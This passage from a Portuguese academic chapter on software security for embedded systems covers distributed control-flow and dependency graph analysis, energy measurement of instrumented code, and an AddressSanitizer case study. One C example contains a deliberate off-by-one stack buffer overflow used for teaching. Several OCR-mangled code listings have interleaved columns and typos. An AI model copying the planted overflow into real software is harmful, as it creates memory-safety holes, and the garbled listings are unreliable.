acontece com as arestas pontilhadas na figura 3.20c. Portanto € necessério utilizar um
algoritmo que leve em consideracdo o CFG de cada programa e sua interacdo via rede a
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fim de gerar um CFG do sistema como um todo sem arestas redundantes ou invalidas.

P1 P2 P1 P1

sl o sl B

a=20 a=20

{a (b) (c)

Figura 3.20. (a) CFG simplificado dos programas P1 e P2. (b) Unidao dos CFGs
simplificados de P1 e P2. (c) CFG simplificado resultante da ligacdo de todos os
sends de P1 com todos os receives de P2, as aresta pontilhadas indicam ligacoes
invalidas.

As arestas redundantes podem ser eliminadas ou, pelo menos, reduzidas a partir
da aplica¢do do conceito de Dominancia em Grafos. Um né x em um CFG G domina um
nd y (x e y podem ser os mesmos) se e somente se todo caminho em G para y a partir do
inicio — s — contém x. J4 um né x é dominador imediato de y se x # y e qualquer outro
no z que domine y também domine x. Para otimizar as ligacdes entre sends e receives
podemos detectar qual ¢ o dominador imediato x; de cada send ou receive encontrado,
onde L € o nivel desse dominador imediato. Esses sends/receives passam a fazer parte
do conjunto de pontos de comunicacdo de rede dominados por x;. O mesmo € feito para
o outro programa. Cria-se, entdo, arestas apenas entre sends € receives de programas
diferentes que estejam no mesmo nivel. O nivel de cada n6 (L) pode ser determinado da
seguinte maneira: (i) inicia-se o nivel de cada send ou recv com nivel 0; (ii) Se um send
ou recv n € alcancavel por um né x com nivel L, o nivel de n serd o maior valor entre L+ 1
e o nivel de n; (iii) repete-se o passo anterior até que o sistema se estabilize.

Por exemplo, na figura 3.21 mostramos um c6digo onde um programa Send envia
mensagens para o programa Recv simulando um trecho de um protocolo de um sistema
distribuido. O CFG do programa Send pode ser visto na figura 3.22 e do programa Recv
na figura 3.24. Através da arvore de dominancia do programa Send € possivel verificar
quais os dominadores imediatos de cada send, veja figura 3.23. Cada send dos blocos
basicos if.then e if.else tem como dominador imediato o bloco entry. Ja o send do bloco
basico do.end tem como dominador imediato o bloco do.cond. A arvore de dominéncia
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#include "myserversocket.h" #include "mysocket.h"
main () {

int s,code; int main () {

struct msgServer m; int s;

s = getMyServerSocket(); int n;
scanf("%d",&code); struct msg m;

if (code==7){ s = getMySocket();

strcpy (&m. buf , "beginl7");

send (s, &m.buf, 7, 0); n=recv (s,&(m.buf) MAX,0) ;
}else{

scanf("%s",&m. buf); if (MSG. code==7){

send (s,&m. buf , strlen (m. buf) ,0); printf ("Begin");

} n=recv (s,&(m.buf) MAX,0);
do{ } else {

//do something and break printf("code: %c".m.code);
}while (1) ; n=recv (s,&(m. buf) MAX,0) ;
scanf("%s",&m. buf); }
send (s, &m.buf, strlen(m.buf), 0);
close(s); close(s);

} }

Programa Send Programa Recv

Figura 3.21. Trecho de um sistema distribuido onde o programa Send envia men-
sagens para o programa Recv de acordo com entradas passadas pelo usuario.

do programa Recv € apresentada na figura 3.25. O primeiro recv tem como dominador
imediato o inicio do programa, ji os demais tem como dominador imediato o primeiro
bloco bésico (entry).

Portanto para gerar o CFG desse exemplo, devemos criar arestas entre cada send
e cada recv obedecendo suas arvores de dominancia. O resultado final pode ser visto na
figura 3.26. E criada uma aresta entre cada send dominado pelo bloco bésico entry e o
recv inicial. Ja o send dominado pelo bloco basico do.end foi ligado cada recv dominados
pelo bloco basico entry.

3.5.7.2. Grafo de Dependéncia de Sistemas Distribuidos

Ha muitos algoritmos que usam o grafo de dependéncias [Ottenstein et al. 1990] para
analisar programas. O Grafo de Dependéncia pode ser usado, por exemplo, para mapear
as dependéncias entre as entradas (fontes externas) e os arranjos. A figura 3.27 mostra
um grafo de dependéncia criado para um pequeno programa C. O grafo de dependéncia
possui um né para cada varidvel e cada operacdo do programa. H4 uma aresta entre cada
varidvel u e uma instrucao i se i representa uma instru¢do que usa u. De forma similar, o
grafo contem uma aresta entre i € v se i define uma variavel.

E possivel utilizarmos esses algoritmos no mundo distribuido, desde que exista
uma defini¢do de grafo de dependéncias apropriado. Tal grafo pode ser construido a
partir da unido dos grafos de dependéncias individuais, via uma estratégia semelhante
aquela que usamos para unir CFGs. Cada programa do sistema possui seu proprio grafo
de dependéncia. Para cada instru¢do de acesso a rede, é criado um vértice no grafo para
representar essa comunicagdo. O vértice € marcado como um né de rede de leitura ou de
escrita e inserido em uma lista correspondente. Insere-se, entdo, uma aresta de dependén-
cia entre o vértice de rede encontrado e os vértices correspondentes no outro programa
de acordo com o CFG global do sistema construido anteriormente. Dessa forma, o grafo
de dependéncias final é a unido dos grafos de cada programa e representa o grafo de
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;

entry:

int s,code;

struct msgServer m;

s = getMyServerSocket();

scanf("%d",&code);
if(code==7)

T F

N

if.then:

strepy(&m.buf,"beginl7");
send(s, &m.buf, 7, 0);

if.else:

scanf("%s",&m.buf);
send(s,&m.buf,strlen(m.buf),0);

Figura 3.22. CFG do Programa Send

if.end:

do.cond:
T[F

do.end:

scanf("%s",&m.buf);
send(s, &m. buf,strien(m.buf),0);
close(s);

entry:

int s,n;

struct msg m;

s = getMySocket();

n=recv(s,&(m.buf),MAX,0);
if(M5G.code==7)

entry:

int s,code;
struct msgServer m;

s = getMyServerSocket();
scanf("%d",&code);
iflcode==7)

T

F

if then:

strcpy(&m.buf,"beginl7");
send(s, &m.buf, 7, 0);

~,

if else:
scanf("%s",&m.huf);
send(s,&m.buf,strlen(m.buf),0);

do.end:

scanf("%s",&m.buf);
send(s,&m.buf,strlen(m.buf),0);

close(s);

Figura 3.23. Send: Arvore de

Dominancia

entry:
int s,n;

struct msg m;

F

( :
if.then:

printf("Begin");

n=recv(s,&(m.buf), MAX,0);

if.else:

printf{"code: %c", m.code);
n=recv(s,&(m.buf),MAX,0);

N

-

if.end:

close(s);

Figura 3.24. CFG do Programa Recv

140

s = getMySocket();
n=recv(s,&(m.buf),MAX,0);

if{MSG.code==7)

T

F

if.then:

printf{"Begin");

n=recv(s,&(m.buf), MAX,0);

ifend:

close(s);

N

if.else:
printf{"code: %c",m.code);
n=recv(s,&(m.buf), MAX,0);

Figura 3.25. Recv: Arvore de

Dominancia
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entry:

int s,code;

struct msgServer m;

s = getMyServerSocket();
scanf("%d",&code);

iflcode==7)
( T F \
do.cond: if.then: if.else:
strepy(&m.buf,"beginl7"); scanf("%s",&m.buf);
T F send(s, &m.buf, 7, 0); send(s,&m.buf,strlen(m.buf),0);
S / )
4
entry:
int s,n;
do.endl:lu . struct msg m;
scanf{"%s",&m.buf); it end: s = getMySocket();
send(s,&m.buf strlen(m.buf),0); n=recv(s,&(m.buf), MAX,0);
close(s); if{MSG.code==7)
T | F
‘/“/m }/
/ if.then: if.else:
do.body: printf("Begin"); printf{"code: %c", m.code);
n=recv(s,&(m.buf),MAX,0); n=recv(s,&(m.buf), MAX,0);

if.end:
close(s);

Figura 3.26. CFG do sistema distribuido. Os nés preenchidos correspondem a
blocos basicos do programa Send. As arestas tracejadas representam as liga-
¢coes entre send e recv de cada programa.

dependéncia do sistema distribuido como se fosse um tnico programa.

O grafo de dependéncia resultante pode ser usado, por exemplo, para verificar de-
pendéncias entre arranjos e entradas de dados. Para cada operacdo com arranjo, verifica-se
no grafo se ha dependéncia com as fontes de dados. As dependéncias podem ser locais
ou remotas. As locais sdo aquelas que representam caminhos entre arranjos e fontes de
dados no mesmo programa. As dependéncias remotas sao aquelas derivadas de caminhos
entre arranjos de um programa e fontes de dados de outro programa, através da rede.

3.6. Metodologia de Avaliacao

A insercdo de codigo extra para verificagdao de seguranga causa um acréscimo energético
que pode ser determinante para aplicacdes nas quais o consumo de energia € parametro
critico, tais como aplicagdes embarcadas, sistemas movidos a bateria e outros. Nesta
secdo, serd descrito um método para medi¢cdo de energia extra consumida pelo acréscimo
de cédigo.

3.6.1. Modelagem do Sistema de Medicao

O método consiste em medir a energia total que a plataforma consome durante o tempo
de execuc¢do do cédigo instrumentado e, em seguida, subtrair a energia correspondente
ao consumo em estado de repouso (sem execucdo do cddigo), de forma que o resultado
corresponda a energia consumida somente pelo cddigo sob andlise. Um diagrama de
blocos do sistema de medi¢do estd representado na figura 3.28. Para medir a energia, €
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(=
Com)
int main(int argc, char** argv) {
inta=0; )
a++;

int* p = (int*)malloc(sizeof(int));
int* p2 = (int*)malloc(sizeof(int));
p=a;
if (argc % 2) {

free(p2);

P2 =p;
}else{

P2 ="p;
}

return O;

} " Memory 1)

" Memory0 )

Figura 3.27. Exemplo de um grafo de dependéncias

preciso medir a corrente que entra na plataforma. Ao inserir uma resisténcia em série com
o circuito de alimentagdo (resisténcia shunt) € possivel medir o valor da tensdo sobre essa
resisténcia e a corrente que entra na plataforma (passa pela resisténcia) € proporcional ao
valor da tensdo medida.

Para adquirir os valores de tensdo V sobre a resisténcia shunt Ry, deve ser utili-
zado um sistema de aquisico de dados (Data Acquisition System — DAQ)!!. Esse sistema
amostra os valores analdgicos de tensdao e os converte para valores digitais, usaveis em
computador. Cada valor de tensdo V; amostrado € processado no software de medicgao.
Como gatilho externo de aquisicdo dos dados, foi usada a porta serial RS-232 da plata-
forma (controlavel em software). O pino da porta serial correspondente ao sinal RTS (Re-
ady to Send) permanece em nivel l6gico alto no estado de repouso. Quando o programa
a ser avaliado inicia, o valor de tensdo do pino RTS € alterado para nivel 16gico baixo
e quando o programa termina, o nivel 16gico alto é novamente atribuido. Dessa forma,
inicio e fim do programa estdo claramente definidos por sinais externos, que servirdo de
entrada para o DAQ e serdo processados no software de medicao.

HModelo utilizado: USB-6009 - National Instruments.
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Computador
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Figura 3.28. Diagrama de blocos para o esquema de medicao

3.6.2. Codigos de teste

Para garantir a qualidade do teste, o sistema operacional (SO)'? precisa ser configurado
para ndo inicializar os médulos gréfico e de rede. Além disso, deve ser dada prioridade
méxima'® ao programa em execucdo para evitar que outras tarefas realizadas concomi-

tantemente pelo SO causem desvios nos resultados.

Os instantes exatos de inicio e fim da execucdo dos programas sob andlise devem
ser determinados, portanto, € necessario modificar os codigos fonte inserindo comandos
que controlem a porta serial. Esses comandos engatilham a medi¢do através de um sinal
externo em hardware, dispensando qualquer tipo de emulacdo. As fun¢des setrts_up
e setrts_down realizam esse trabalho definindo os niveis de tens@o do pino de saida da
porta RS-232. No inicio do programa, a saida da porta serial € definida como nivel baixo
(setrts_down) e, ao final, o nivel légico alto (setrts_up) € atribuido. Abaixo, é
mostrado um exemplo da insercdo do sinal RTS no cédigo fonte de um programa sob
avaliacdo.

//saida_porta_serial <= (nivel baixo)

setrts_down () ;

//exemplo de corpo do cédigo para testes

for(k=0; k < iterations; k++) {

/* bound checkx*/
assert (sizes[1l] > 15 && "Index out of bounds");
array[15]=2;

} //fim do corpo

//saida_porta_serial <= (nivel alto)

setrts_up();

12Para o teste e validagio do método, os experimentos foram realizados em SO Fedora 11.
13Usando o comando nice.
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3.6.3. Calculo da Energia

A tensdo V; € proporcional a resisténcia R;. O valor de R, deve ser pequeno para que o
acréscimo de resisténcia no circuito seja minimo. Para que a tensdo V; corresponda ao
valor real de corrente, € preciso multiplicar a tensdo Vi pelo fator de ganho G. Pela lei de
Ohm, I; = V; /R, [Nilsson and Riedel 2009]. Dat,

I, = (1/R,).V, = G.V,. (1)

A energia total pode ser calculada integrando a poténcia instantinea ao longo do
tempo [Nilsson and Riedel 2009]

tf tf
E= [ p()dr= / v(1).i(1)dt. @)
ti ti
Como a corrente total que passa pelo sistema € Iy = G.V; e a tensdo de alimentagcao
Vpower € constante, tem-se:

tf
E= [ Viower-G.vs(t)dt, 3)
t
onde 7; e t7 30 os instantes de tempo de inicio e fim do programa em execugdo, de-
terminados, respectivamente, pelas mudangas de niveis 16gicos do sinal RTS. O diagrama
de blocos do calculo da energia pode ser visto na Figura 3.29.

Computador
v |4 1 p —n
o ol %G SN Vyouer 1 | L’a
E) DAQ RTS —>{ =5V? Fim

N
L

Figura 3.29. Esquema do calculo da energia

O valor de Vi € multiplicado pelo ganho G para obter o valor real de corrente
I;. Em seguida, esse valor € multiplicado por V)., chegando a poténcia instantinea
consumida. A integral da poténcia € a energia total acumulada até o instante . O programa
comecga a processar os dados quando o sinal RTS vai para nivel baixo e termina quando
o sinal volta para nivel alto. Entao, a energia acumulada é correspondente a execu¢ao do
programa testado. O resultado (Energia) é salvo em forma de texto no arquivo de saida.
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3.6.4. Software para calculo da Energia

O DAQ utilizado 1€ periodicamente amostras de tensdo em sua entrada e as converte para
valores digitais tratdveis em computador. O fabricante prové uma biblioteca de abstragdo
do hardware que permite que o programador desenvolva programas que interajam direta-
mente com as entradas do DAQ através de comandos de alto nivel. Assim, utilizando a
linguagem C++, foi possivel desenvolver um software para tratamento do sinal e cdlculo
da energia. Esse software € organizado em duas classes principais: a classe Channel e
a classe Measurement. A classe Channel possibilita a criagdo (abstragdes em soft-
ware) e manipulagdo dos canais do DAQ. A classe Measurement € responsavel pelo
controle e processamento das medicdes e cdlculo da energia.

Ao ser executado, o0 DAQ € configurado e os canais (“Trigger” - Al e “Principal”
- AO) sdo criados. O programa, entdo, espera até que um sinal de gatilho (RTS) seja
recebido no canal Al. Quando o sinal de gatilho € recebido, marcando o inicio do cédigo,
a fungdo de aquisi¢do de dados € chamada e os valores de tensdo do canal AO sdo lidos.

A energia € a integral (soma) dos valores de poténcia instantaneos consumidos.
A poténcia é calculada em software como (VSUPPLY ) x (SHUNT GAIN) x Vs, onde V; é
o valor de tensdo sobre a resisténcia R, lido naquele instante. Uma varidvel, inicializada
em zero, ¢ incrementada com o valor da poténcia, de forma que, ao final da execugao,
seu valor seja a igual a soma das poténcias instantineas ao longo do tempo. A cada
amostra obtida, o canal A1l € lido e testado a fim de se determinar se houve término ou
ndo da execu¢do. Em caso positivo, o programa adiciona no fim do arquivo de saida
os valores do tempo total de execucdo (em segundos) e a energia total consumida (em
Joules), voltando, entdo, a fase de espera por um novo sinal de gatilho. Esse fluxo de
execucdo continuo possibilita a automagdo do processo o que permite a utilizagdo de
scripts para execugdo de n programas de testes. O resultado final é a média (calculada em
software) dos n valores de energia medidos, garantido, dessa forma, maior confiabilidade
na medicao.

3.7. Estudo de Casos
3.7.1. Introducao

Como estudo de caso, iremos apresentar um exemplo didético de cédigo em C e como
utilizar a ferramenta AddressSanitizer, apresentada na secdo 3.5.4 para instrumentd-lo
contra erros de acessos invélidos. Opgdes plausiveis para a instrumentacdo incluem as
ferramentas SoftBound+CETS [Nagarakatte et al. 2009] [Nagarakatte et al. 2010] e SA-
FECode [Dhurjati et al. 2006], mas atermo-emos apenas ao AddressSanitizer [Serebryany
et al. 2012] neste estudo. Mostraremos, também, o funcionamento de uma transformacao
de elimina¢do de Verificacdo de Limites de Arranjo e o impacto desta andlise no gasto
energético do programa.

3.7.2. Exemplo

Tomemos como exemplo o programa na figura 3.30. Compilando-se este programa com o
AddressSanitizer, utilizando a flag —~fsanitize=address no clang, e executando-
0, observamos que o programa aborta com a mensagem de erro:
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ERROR : AddressSanitizer : stack — buf fer — over flowonaddress...].

Essa mensagem indica que houve um Estouro de Arranjo ao acessar um objeto
na pilha. Nao listamos a mensagem completa por questdao de espaco. De fato, a indexa-
¢do na linha quatro acessa um elemento além do término do arranjo, acesso este que €
identificado pela ferramenta como sendo invélido.

int main(int argc, char =xargv) {
int a[l15];
for (unsigned i = 0; i < 16; ++i)
ali] = i3
return a[0] + a[14];

Figura 3.30. Exemplo 1

Tomemos agora, o exemplo na figura 3.31. O programa esta correto, € nao ha
acessos invdlidos, como hd no programa anterior. Os acessos ao arranjo, ainda assim, sao
instrumentados sem necessidade. Utilizando uma técnica de inferéncia de tamanhos de
arranjo, descrita em por Santos et al. [Henrique Nazaré Santos 2013], e de uma Anélise
de Intervalos, descrita na se¢ao 3.5.5, podemos provar que o acesso ao arranjo na linha 4
€ seguro, uma vez que o indice € sempre ndo-negativo e menor que o tamanho do arranjo.
Caso seja, toda instrumentacdo na indexagao € passivel de ser removida.

int main(int argc, char =xargv) {
int a[l15];
for (unsigned i = 0; i < 15; ++1)
al[i] = 1;
return a[0] + a[14];

Figura 3.31. Exemplo 2

Para arranjos com tamanhos dados por expressdes simbolicos, porém, a Andlise
de Intervalos pode ser tornar inefetiva, como acontece para o exemplo na figura 3.32. Isso
ocorre pois, para um arranjo com n posi¢des sendo acessado com indice i, podemos ter
a relagdo simbdlica i < n, sem esta ser dada pelos intervalos numéricos de ambas. Para
tratar estes casos, € necessdria uma andlise de tamanhos relativo, descrito também por
Santos et al. Com esta andlise podemos definir limites superiores simbodlicos para cada
varidvel. Com isso, utilizamos a Andlise de Intervalos para verificar se o indice sendo
acessado € ndo-negativo e se o tamanho do arranjo € um limite superior simbdlico para o
indice.
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int main(int argc, char =xargv) {

int xa = malloc(n % sizeof(int));

for (unsigned i = 0; i < n; ++i)
ali] = i

return a[0] + a[n — 1];

Figura 3.32. Exemplo 3

Implementamos essas técnicas de eliminacao de Verificacao de Limites de Arranjo
em nossa ferramenta GreenArrays e a utilizamos para remover instrumentacoes redundan-
tes inseridas pelo AddressSanitizer. Os ganhos energéticos sao mostrados abaixo.

3.7.3. Avaliacdo Energética das Ferramentas

Ap6s instrumentado o cdigo, € preciso garantir que o acréscimo energético causado pela
instrumentagdo seja vidvel, principalmente se tratando de Sistemas Embarcados. A seguir,
serd aplicado o método proposto na se¢do 3.6 para medir a energia consumida pelo cédigo
instrumentado.

Como o cddigo ja foi compilado com a inser¢do dos sinais de controle RTS, inicio
e fim da medi¢do estdo bem marcados e o arquivo executdvel ja estd pronto para ser
testado. Para realizar os testes em ambiente mais préximo de um sistema embarcado (em

que o consumo de energia é pardmetro critico), foi feito uso da placa mae Inforce'.

O arquivo €, entdo, executado no ambiente de testes. No momento em que o
programa inicia, o sinal de setrts_down coloca o nivel de tensdo da porta serial para
nivel 16gico baixo. Nesse momento, o programa de medi¢do (que j4 foi iniciado em
outro computador) identifica a mudanca de tensdo e inicia a amostragem de dados. A
cada amostra, a varidvel contendo o valor de energia (inicialmente definida em zero) é
incrementada com o valor calculado pela equacao 3.6.3. Além disso, o valor de tensao
do pino RTS da porta serial é medido. Caso seja percebido o sinal de fim de programa de
testes (setrts_up), o programa de medi¢do termina e o valor acumulado para energia
¢ a energia correspondente a execucao do cédigo.

Para o sistema de medicdo o valor resisténcia usado foi Ry = 0,0989Q !> Entio,
o valor de G pode ser calculado como G = (1/R;) = 1/0,0989 = 10, 1112. Pelo manual
fornecido pelo fabricante da plataforma usada pra executar o codigo de testes, tem-se
que a tensdo de alimenta¢do Ve = 12V. Para esta plataforma'®, os valores de tensio
do pino RTS sdo Vj,, = OV e Ve, = SV, correspondendo aos niveis logicos baixo e
alto, respectivamente. A metodologia descrita foi aplicada para os cédigos do Benchmark
Stanford!”. Para garantir a confiabilidade da medicdo, o experimento foi executado dez
vezes para cada codigo testado. O valor apresentado nos resultados é a média dos dez

Yhttp://inforcecomputing.com/ - CPU 1.0GHz, Meméria RAM = 512K B e ambiente Fedora
11.

IS A resisténcia foi medida com multimetro de 6!/2 digitos com medigio a 4 terminais.

1605 valores de tensdo para os pinos da porta serial variam de acordo com o fabricante.

Thttps://1lvm.org/viewve/llvm-project/test-suite/trunk/SingleSource/
Benchmarks/Stanford/.
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valores obtidos.
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Tempo de Execugdo (log(x)) (s)

Figura 3.33. Grafico comparativo relativo ao tempo de execucao dos programas
do Benchmark Stanford

Foram realizadas quatro formas de medicao, para que as caracteristicas do pro-
grama compilado com as ferramentas de seguranca de c6digo sejam comparadas. A pri-
meira delas é a medicao do cédigo sem instrumentacdo de seguranca. A segunda com
a ferramenta SAFECode. A terceira com a ferramenta AdressSanitizer. E, por dltimo, a
ferramenta proposta GreenArrays. As figuras 3.33 e 3.34 mostram graficos contendo as
andlises do tempo de execucgdo e energia total gasta, respectivamente, obtidos para cada
programa do bechmark em estudo.

3.7.4. Discussao

Nota-se (figuras 3.33 e 3.34) que o acréscimo de c6digo para torni-lo seguro causa um
considerdvel acréscimo no tempo de execugdo do programa, levando, por consequéncia, a
um grande acréscimo na energia consumida. Em muitos casos, os programas compilados
com a ferramentas de seguranca gastam mais do dobro de energia que o programa inse-
guro. Mesmo assim, em determinadas aplicacdes, € necessdrio abrir mdo de um menor
consumo energético e tempo de execugao para se garantir seguranca. J4 em outras aplica-
¢des, como por exemplo, Sistemas Embarcados, o parametro energia € critico, tratando-se
de sistemas movidos a bateria (que é a maioria dos casos). Entdo, € preciso ponderar o uso
de seguranca em cddigo e fazé-lo somente quando o parametro seguranga € tao importante
ou mais que o parametro energia.
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Figura 3.34. Grafico comparativo relativo a energia total consumida pelos pro-
gramas do Benchmark Stanford

3.8. Conclusoes

Seguranca de Software estd no cerne da seguranca de sistemas computacionais de maneira
geral. Na medida em que ataques que exploram vulnerabilidades em software sdo mais
e mais comuns, Seguranca de Software torna-se cada vez mais relevante. Paralelamente
a isso, seja no trabalho ou no ambiente doméstico, Sistemas Embarcados estao cada vez
mais presentes na vida de individuos. Em outras palavras, aparentemente a computacao
ubiqua enfim tornou-se uma realidade.

Tal fato, por si s6, jd causa preocupacdo quanto a seguranga de Sistemas Em-
barcados. Mas, como se nio bastasse, apds uma anélise conclui-se que as propostas de
Seguranca de Software existentes ndo sao apropriadas para esses dispositivos. O objetivo
deste capitulo foi, entdo, apresentar uma visao geral da drea de Seguranga de Software e
mostrar como adaptar e avaliar as solugdes existentes no contexto de Sistemas Embarca-
dos.

Em particular, discorremos, dentre outras coisas, sobre Estouro de Arranjo, Es-
touro de Inteiro, Vazamento de Endereco, Aleatorizacdo de Espaco de Enderego, Preven-
¢do contra a Execucdo de Dados, Candrios, Verificagdo de Limites de Arranjo, Andlise
de Intervalos e Andlise Distribuida. Ademais, descrevemos uma metodologia para avali-
acdo energética de mecanismos de Seguranca de Software. E, ao final, apresentamos uma
solucdo de Seguranca de Software especialmente concebida para o contexto de Sistemas
Embarcados.
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